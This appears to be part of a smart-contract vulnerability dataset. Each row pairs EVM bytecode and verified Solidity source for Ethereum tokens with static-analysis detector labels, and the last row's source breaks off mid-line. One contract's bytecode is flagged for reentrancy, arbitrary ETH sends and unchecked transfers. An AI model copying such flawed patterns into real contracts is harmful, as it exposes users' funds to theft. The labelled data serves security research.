12f5f601054876140f090919063ffffffff16565b61417690919063ffffffff16565b90506000612fab6002612f9d86612f8f600e548a6140f090919063ffffffff16565b61417690919063ffffffff16565b61417690919063ffffffff16565b90506000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051806000019050600060405180830381858888f193505050503d8060008114613034576040519150601f19603f3d011682016040523d82523d6000602084013e613039565b606091505b505090506000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051806000019050600060405180830381858888f193505050503d80600081146130c4576040519150601f19603f3d011682016040523d82523d6000602084013e6130c9565b606091505b505090507f1324369be6601657f0d5b54f511c7036a626265d593fbb71344072930ac750c2601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600091506000905060008a11156132d457601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308d600080601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561324157600080fd5b505af1158015613255573d6000803e3d6000fd5b50505050506040513d606081101561326c57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838b604051808381526020018281526020019250505060405180910390a15b50505050505050505050506000601760146101000a81548160ff021916908315150217905550565b60085460075442031115613313576133126141c0565b5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156133bb575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156134115750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561346b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156134c55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561351f5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561355757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613a92576018548111156135d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006135df836118fa565b9050601954828201111561363e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806142fb6023913960400191505060405180910390fd5b6060600267ffffffffffffffff8111801561365857600080fd5b506040519080825280602002602001820160405280156136875781602001602082028036833780820191505090505b509050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156136f257600080fd5b505afa158015613706573d6000803e3d6000fd5b505050506040513d602081101561371c57600080fd5b81019080805190602001909291905050508160008151811061373a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061378257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7485846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561385657808201518184015260208101905061383b565b50505050905001935050505060006040518083038186803b15801561387a57600080fd5b505afa15801561388e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156138b857600080fd5b81019080805160405193929190846401000000008211156138d857600080fd5b838201915060208201858111156138ee57600080fd5b825186602082028301116401000000008211171561390b57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015613942578082015181840152602081019050613927565b5050505090500160405250505060008151811061395b57fe5b60200260200101519050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156139c0575060065481115b15613a8e5784601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600681905550426007819055507f63ea6e44e60fc591b95af6fb21146b2cd7815b93a09283200daca3105c640a9e601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5050505b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613b3a575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613b905750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613bea5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613c2257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613dd057601854811115613c9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613d77577f3b78025892fd829e670dc410682fecf89151cb07adfa0f62f06d86a8ec696c17601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1613d766141c0565b5b6001600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613e785750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613e865760009050613f42565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480613f2f5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613f3d5760009050613f42565b600190505b92915050565b6000808373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613fa857601154613fac565b6012545b90506000613fd66064613fc884876140f090919063ffffffff16565b61417690919063ffffffff16565b905061402a81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36140e581856129cd90919063ffffffff16565b925050509392505050565b6000808314156141035760009050614170565b600082840290508284828161411457fe5b041461416b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061431e6021913960400191505060405180910390fd5b809150505b92915050565b60006141b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614234565b905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060068190555042600781905550565b600080831182906142e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156142a557808201518184015260208101905061428a565b50505050905090810190601f1680156142d25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816142ec57fe5b04905080915050939250505056fe45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212202e613b776ef5f462137bb08db7db9eade6b496deaa13b6a400c00b32dc5c17a664736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,523
0x065b77156b9ab417bd30fc25e30ce5b9a7dd2066
/** *Submitted for verification at Etherscan.io on 2022-01-18 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view virtual override returns (uint8) { return 11; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) external view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract WohlstandToken is ERC20 { /** * @dev Mints `initialSupply` amount of token and transfers them to `owner`. * * See {ERC20-constructor}. */ constructor( string memory name, string memory symbol, uint256 initialSupply, address owner ) ERC20(name, symbol) { _mint(owner, initialSupply); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e50565b60405180910390f35b6100e660048036038101906100e19190610c9a565b610308565b6040516100f39190610e35565b60405180910390f35b610104610326565b6040516101119190610f52565b60405180910390f35b610134600480360381019061012f9190610c47565b610330565b6040516101419190610e35565b60405180910390f35b610152610431565b60405161015f9190610f6d565b60405180910390f35b610182600480360381019061017d9190610c9a565b61043a565b60405161018f9190610e35565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f52565b60405180910390f35b6101d061052e565b6040516101dd9190610e50565b60405180910390f35b61020060048036038101906101fb9190610c9a565b6105c0565b60405161020d9190610e35565b60405180910390f35b610230600480360381019061022b9190610c9a565b6106b4565b60405161023d9190610e35565b60405180910390f35b610260600480360381019061025b9190610c07565b6106d2565b60405161026d9190610f52565b60405180910390f35b606060038054610285906110b6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110b6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ed2565b60405180910390fd5b61042585610414610759565b85846104209190610ffa565b610761565b60019150509392505050565b6000600b905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610fa4565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110b6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f32565b60405180910390fd5b6106a9610697610759565b8585846106a49190610ffa565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e92565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f52565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ef2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e72565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610eb2565b60405180910390fd5b8181610aa99190610ffa565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610fa4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f52565b60405180910390a350505050565b505050565b600081359050610bbf81611385565b92915050565b600081359050610bd48161139c565b92915050565b600060208284031215610bf057610bef611146565b5b6000610bfe84828501610bb0565b91505092915050565b60008060408385031215610c1e57610c1d611146565b5b6000610c2c85828601610bb0565b9250506020610c3d85828601610bb0565b9150509250929050565b600080600060608486031215610c6057610c5f611146565b5b6000610c6e86828701610bb0565b9350506020610c7f86828701610bb0565b9250506040610c9086828701610bc5565b9150509250925092565b60008060408385031215610cb157610cb0611146565b5b6000610cbf85828601610bb0565b9250506020610cd085828601610bc5565b9150509250929050565b610ce381611040565b82525050565b6000610cf482610f88565b610cfe8185610f93565b9350610d0e818560208601611083565b610d178161114b565b840191505092915050565b6000610d2f602383610f93565b9150610d3a8261115c565b604082019050919050565b6000610d52602283610f93565b9150610d5d826111ab565b604082019050919050565b6000610d75602683610f93565b9150610d80826111fa565b604082019050919050565b6000610d98602883610f93565b9150610da382611249565b604082019050919050565b6000610dbb602583610f93565b9150610dc682611298565b604082019050919050565b6000610dde602483610f93565b9150610de9826112e7565b604082019050919050565b6000610e01602583610f93565b9150610e0c82611336565b604082019050919050565b610e208161106c565b82525050565b610e2f81611076565b82525050565b6000602082019050610e4a6000830184610cda565b92915050565b60006020820190508181036000830152610e6a8184610ce9565b905092915050565b60006020820190508181036000830152610e8b81610d22565b9050919050565b60006020820190508181036000830152610eab81610d45565b9050919050565b60006020820190508181036000830152610ecb81610d68565b9050919050565b60006020820190508181036000830152610eeb81610d8b565b9050919050565b60006020820190508181036000830152610f0b81610dae565b9050919050565b60006020820190508181036000830152610f2b81610dd1565b9050919050565b60006020820190508181036000830152610f4b81610df4565b9050919050565b6000602082019050610f676000830184610e17565b92915050565b6000602082019050610f826000830184610e26565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610faf8261106c565b9150610fba8361106c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fef57610fee6110e8565b5b828201905092915050565b60006110058261106c565b91506110108361106c565b925082821015611023576110226110e8565b5b828203905092915050565b60006110398261104c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156110a1578082015181840152602081019050611086565b838111156110b0576000848401525b50505050565b600060028204905060018216806110ce57607f821691505b602082108114156110e2576110e1611117565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61138e8161102e565b811461139957600080fd5b50565b6113a58161106c565b81146113b057600080fd5b5056fea264697066735822122031a34054168814ff3adc0bbd10d7ef8894b1a52e370f0cda3733d5e895e61fb164736f6c63430008060033
{"success": true, "error": null, "results": {}}
2,524
0xa55d3ac65e19c6c92b88d7a0aec96da778f0114a
//SPDX-License-Identifier: MIT // Telegram: t.me/onepunchinu pragma solidity ^0.8.10; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=8; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=2400000000; string constant TOKEN_SYMBOL="1PUNCH"; string constant TOKEN_NAME="One Punch"; uint8 constant DECIMALS=6; uint256 constant 